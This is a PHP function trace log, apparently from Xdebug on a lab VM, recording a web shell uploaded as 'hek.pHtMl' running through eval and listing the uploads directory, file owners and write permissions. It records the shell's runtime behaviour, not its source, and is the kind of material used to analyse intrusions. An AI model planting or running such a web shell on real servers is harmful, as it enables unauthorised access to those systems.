6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	335	$i .= 'w'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	336	$i .= 'x'
6	109	1	0.014562	1315240
6	109	R			'drwxrwxrwx'
5	105	1	0.014577	1315280
5	105	R			'<font color=#FFDB5F><b>drwxrwxrwx</b></font>'
5	110	0	0.014599	1315280	filesize	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	937	1	'/var/www/html/uploads/..'
5	110	1	0.014614	1315320
5	110	R			4096
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	939	$tmp = ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
5	111	0	0.014652	1314456	is_file	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	941	1	'/var/www/html/uploads/..'
5	111	1	0.014667	1314496
5	111	R			FALSE
5	112	0	0.014680	1314456	is_link	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	943	1	'/var/www/html/uploads/..'
5	112	1	0.014697	1314504
5	112	R			FALSE
5	113	0	0.014711	1314464	is_dir	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	945	1	'/var/www/html/uploads/..'
5	113	1	0.014725	1314504
5	113	R			TRUE
5	114	0	0.014739	1314408	array_merge	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	946	2	['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']	['type' => 'dir']
5	114	1	0.014765	1314848
5	114	R			['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	946	$dirs[] = ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	930	$i++
5	115	0	0.014827	1315160	fileowner	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	931	1	'.htaccess'
5	115	1	0.014845	1315184
5	115	R			0
5	116	0	0.014858	1315144	posix_getpwuid	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	931	1	0
5	116	1	0.014883	1315944
5	116	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	931	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
5	117	0	0.014927	1315176	filegroup	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	932	1	'.htaccess'
5	117	1	0.014946	1315216
5	117	R			0
5	118	0	0.014959	1315176	posix_getgrgid	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	932	1	0
5	118	1	0.014982	1315832
5	118	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	932	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
5	119	0	0.015020	1315696	filemtime	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	935	1	'/var/www/html/uploads/.htaccess'
5	119	1	0.015037	1315752
5	119	R			1676237247
5	120	0	0.015051	1315656	date	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	935	2	'Y-m-d H:i:s'	1676237247
5	120	1	0.015083	1315984
5	120	R			'2023-02-12 16:27:27'
5	121	0	0.015098	1315968	viewPermsColor	1		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	936	1	'/var/www/html/uploads/.htaccess'
6	122	0	0.015113	1315968	is_readable	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	340	1	'/var/www/html/uploads/.htaccess'
6	122	1	0.015149	1316008
6	122	R			TRUE
6	123	0	0.015163	1315968	is_writable	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	342	1	'/var/www/html/uploads/.htaccess'
6	123	1	0.015181	1316008
6	123	R			FALSE
6	124	0	0.015195	1315968	fileperms	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	343	1	'/var/www/html/uploads/.htaccess'
6	124	1	0.015209	1316008
6	124	R			33188
6	125	0	0.015222	1315968	perms	1		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	343	1	33188
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	322	$i = '-'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	328	$i .= 'r'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	329	$i .= 'w'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	330	$i .= '-'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	331	$i .= 'r'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	332	$i .= '-'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	333	$i .= '-'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	334	$i .= 'r'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	335	$i .= '-'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	336	$i .= '-'
6	125	1	0.015348	1316008
6	125	R			'-rw-r--r--'
5	121	1	0.015362	1316048
5	121	R			'<font color=white><b>-rw-r--r--</b></font>'
5	126	0	0.015379	1316048	filesize	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	937	1	'/var/www/html/uploads/.htaccess'
5	126	1	0.015394	1316088
5	126	R			64
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	939	$tmp = ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root']
5	127	0	0.015431	1315672	is_file	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	941	1	'/var/www/html/uploads/.htaccess'
5	127	1	0.015447	1315712
5	127	R			TRUE
5	128	0	0.015460	1315616	array_merge	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	942	2	['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root']	['type' => 'file']
5	128	1	0.015485	1316056
5	128	R			['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	942	$files[] = ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	930	$i++
5	129	0	0.015548	1316368	fileowner	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	931	1	'data'
5	129	1	0.015566	1316384
5	129	R			0
5	130	0	0.015579	1316344	posix_getpwuid	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	931	1	0
5	130	1	0.015604	1317144
5	130	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	931	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
5	131	0	0.015647	1316376	filegroup	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	932	1	'data'
5	131	1	0.015661	1316416
5	131	R			0
5	132	0	0.015674	1316376	posix_getgrgid	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	932	1	0
5	132	1	0.015697	1317032
5	132	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	932	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
5	133	0	0.015736	1316896	filemtime	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	935	1	'/var/www/html/uploads/data'
5	133	1	0.015753	1316960
5	133	R			1676237247
5	134	0	0.015767	1316864	date	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	935	2	'Y-m-d H:i:s'	1676237247
5	134	1	0.015800	1317192
5	134	R			'2023-02-12 16:27:27'
5	135	0	0.015815	1317176	viewPermsColor	1		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	936	1	'/var/www/html/uploads/data'
6	136	0	0.015830	1317176	is_readable	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	340	1	'/var/www/html/uploads/data'
6	136	1	0.015848	1317216
6	136	R			TRUE
6	137	0	0.015861	1317176	is_writable	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	342	1	'/var/www/html/uploads/data'
6	137	1	0.015878	1317216
6	137	R			TRUE
6	138	0	0.015891	1317176	fileperms	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	345	1	'/var/www/html/uploads/data'
6	138	1	0.015906	1317216
6	138	R			16895
6	139	0	0.015919	1317176	perms	1		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	345	1	16895
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	324	$i = 'd'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	328	$i .= 'r'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	329	$i .= 'w'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	330	$i .= 'x'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	331	$i .= 'r'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	332	$i .= 'w'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	333	$i .= 'x'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	334	$i .= 'r'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	335	$i .= 'w'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	336	$i .= 'x'
6	139	1	0.016045	1317216
6	139	R			'drwxrwxrwx'
5	135	1	0.016060	1317256
5	135	R			'<font color=#FFDB5F><b>drwxrwxrwx</b></font>'
5	140	0	0.016077	1317256	filesize	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	937	1	'/var/www/html/uploads/data'
5	140	1	0.016092	1317296
5	140	R			4096
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	939	$tmp = ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
5	141	0	0.016130	1316880	is_file	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	941	1	'/var/www/html/uploads/data'
5	141	1	0.016145	1316920
5	141	R			FALSE
5	142	0	0.016162	1316880	is_link	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	943	1	'/var/www/html/uploads/data'
5	142	1	0.016179	1316920
5	142	R			FALSE
5	143	0	0.016193	1316880	is_dir	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	945	1	'/var/www/html/uploads/data'
5	143	1	0.016208	1316920
5	143	R			TRUE
5	144	0	0.016221	1316824	array_merge	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	946	2	['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']	['type' => 'dir']
5	144	1	0.016246	1317264
5	144	R			['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	946	$dirs[] = ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	930	$i++
5	145	0	0.016307	1317200	fileowner	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	931	1	'hek.pHtMl'
5	145	1	0.016324	1317224
5	145	R			1000
5	146	0	0.016336	1317184	posix_getpwuid	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	931	1	1000
5	146	1	0.016369	1318000
5	146	R			['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	931	$ow = ['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
5	147	0	0.016413	1317232	filegroup	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	932	1	'hek.pHtMl'
5	147	1	0.016428	1317272
5	147	R			1000
5	148	0	0.016440	1317232	posix_getgrgid	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	932	1	1000
5	148	1	0.016474	1317888
5	148	R			['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	932	$gr = ['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
5	149	0	0.016511	1317752	filemtime	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	935	1	'/var/www/html/uploads/hek.pHtMl'
5	149	1	0.016528	1317808
5	149	R			1676237247
5	150	0	0.016542	1317712	date	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	935	2	'Y-m-d H:i:s'	1676237247
5	150	1	0.016574	1318040
5	150	R			'2023-02-12 16:27:27'
5	151	0	0.016589	1318024	viewPermsColor	1		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	936	1	'/var/www/html/uploads/hek.pHtMl'
6	152	0	0.016604	1318024	is_readable	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	340	1	'/var/www/html/uploads/hek.pHtMl'
6	152	1	0.016622	1318064
6	152	R			TRUE
6	153	0	0.016635	1318024	is_writable	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	342	1	'/var/www/html/uploads/hek.pHtMl'
6	153	1	0.016652	1318064
6	153	R			FALSE
6	154	0	0.016665	1318024	fileperms	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	343	1	'/var/www/html/uploads/hek.pHtMl'
6	154	1	0.016680	1318064
6	154	R			33204
6	155	0	0.016693	1318024	perms	1		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	343	1	33204
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	322	$i = '-'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	328	$i .= 'r'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	329	$i .= 'w'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	330	$i .= '-'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	331	$i .= 'r'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	332	$i .= 'w'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	333	$i .= '-'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	334	$i .= 'r'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	335	$i .= '-'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	336	$i .= '-'
6	155	1	0.016822	1318064
6	155	R			'-rw-rw-r--'
5	151	1	0.016836	1318104
5	151	R			'<font color=white><b>-rw-rw-r--</b></font>'
5	156	0	0.016853	1318104	filesize	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	937	1	'/var/www/html/uploads/hek.pHtMl'
5	156	1	0.016868	1318144
5	156	R			35486
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	939	$tmp = ['name' => 'hek.pHtMl', 'path' => '/var/www/html/uploads/hek.pHtMl', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 35486, 'owner' => 'osboxes', 'group' => 'osboxes']
5	157	0	0.016904	1317728	is_file	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	941	1	'/var/www/html/uploads/hek.pHtMl'
5	157	1	0.016919	1317768
5	157	R			TRUE
5	158	0	0.016932	1317672	array_merge	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	942	2	['name' => 'hek.pHtMl', 'path' => '/var/www/html/uploads/hek.pHtMl', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 35486, 'owner' => 'osboxes', 'group' => 'osboxes']	['type' => 'file']
5	158	1	0.016957	1318112
5	158	R			['name' => 'hek.pHtMl', 'path' => '/var/www/html/uploads/hek.pHtMl', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 35486, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	942	$files[] = ['name' => 'hek.pHtMl', 'path' => '/var/www/html/uploads/hek.pHtMl', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 35486, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	930	$i++
5	159	0	0.017018	1318048	fileowner	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	931	1	'prepend.php'
5	159	1	0.017035	1318072
5	159	R			0
5	160	0	0.017047	1318032	posix_getpwuid	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	931	1	0
5	160	1	0.017072	1318832
5	160	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	931	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
5	161	0	0.017115	1318048	filegroup	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	932	1	'prepend.php'
5	161	1	0.017129	1318088
5	161	R			0
5	162	0	0.017142	1318048	posix_getgrgid	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	932	1	0
5	162	1	0.017165	1318704
5	162	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	932	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
5	163	0	0.017203	1318584	filemtime	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	935	1	'/var/www/html/uploads/prepend.php'
5	163	1	0.017220	1318648
5	163	R			1676237247
5	164	0	0.017233	1318544	date	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	935	2	'Y-m-d H:i:s'	1676237247
5	164	1	0.017266	1318872
5	164	R			'2023-02-12 16:27:27'
5	165	0	0.017281	1318864	viewPermsColor	1		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	936	1	'/var/www/html/uploads/prepend.php'
6	166	0	0.017296	1318864	is_readable	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	340	1	'/var/www/html/uploads/prepend.php'
6	166	1	0.017314	1318904
6	166	R			TRUE
6	167	0	0.017327	1318864	is_writable	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	342	1	'/var/www/html/uploads/prepend.php'
6	167	1	0.017343	1318904
6	167	R			FALSE
6	168	0	0.017357	1318864	fileperms	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	343	1	'/var/www/html/uploads/prepend.php'
6	168	1	0.017371	1318904
6	168	R			33261
6	169	0	0.017389	1318864	perms	1		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	343	1	33261
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	322	$i = '-'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	328	$i .= 'r'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	329	$i .= 'w'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	330	$i .= 'x'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	331	$i .= 'r'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	332	$i .= '-'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	333	$i .= 'x'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	334	$i .= 'r'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	335	$i .= '-'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	336	$i .= 'x'
6	169	1	0.017516	1318904
6	169	R			'-rwxr-xr-x'
5	165	1	0.017530	1318944
5	165	R			'<font color=white><b>-rwxr-xr-x</b></font>'
5	170	0	0.017547	1318944	filesize	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	937	1	'/var/www/html/uploads/prepend.php'
5	170	1	0.017562	1318984
5	170	R			57
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	939	$tmp = ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root']
5	171	0	0.017599	1318568	is_file	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	941	1	'/var/www/html/uploads/prepend.php'
5	171	1	0.017615	1318608
5	171	R			TRUE
5	172	0	0.017628	1318504	array_merge	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	942	2	['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root']	['type' => 'file']
5	172	1	0.017652	1318944
5	172	R			['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	942	$files[] = ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	930	$i++
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	948	GLOBALS['sort'] = [0 => 'name', 1 => 1]
5	173	0	0.017732	1318904	usort	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	955	2	[0 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 1 => ['name' => 'hek.pHtMl', 'path' => '/var/www/html/uploads/hek.pHtMl', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 35486, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 2 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]	'cmp'
6	174	0	0.017770	1319352	cmp	1		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	955	2	['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']	['name' => 'hek.pHtMl', 'path' => '/var/www/html/uploads/hek.pHtMl', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 35486, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
7	175	0	0.017805	1319352	strtolower	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	951	1	'.htaccess'
7	175	1	0.017828	1319384
7	175	R			'.htaccess'
7	176	0	0.017851	1319352	strtolower	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	951	1	'hek.pHtMl'
7	176	1	0.017874	1319424
7	176	R			'hek.phtml'
7	177	0	0.017895	1319392	strcmp	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	951	2	'.htaccess'	'hek.phtml'
7	177	1	0.017918	1319456
7	177	R			-1
6	174	1	0.017940	1319352
6	174	R			-1
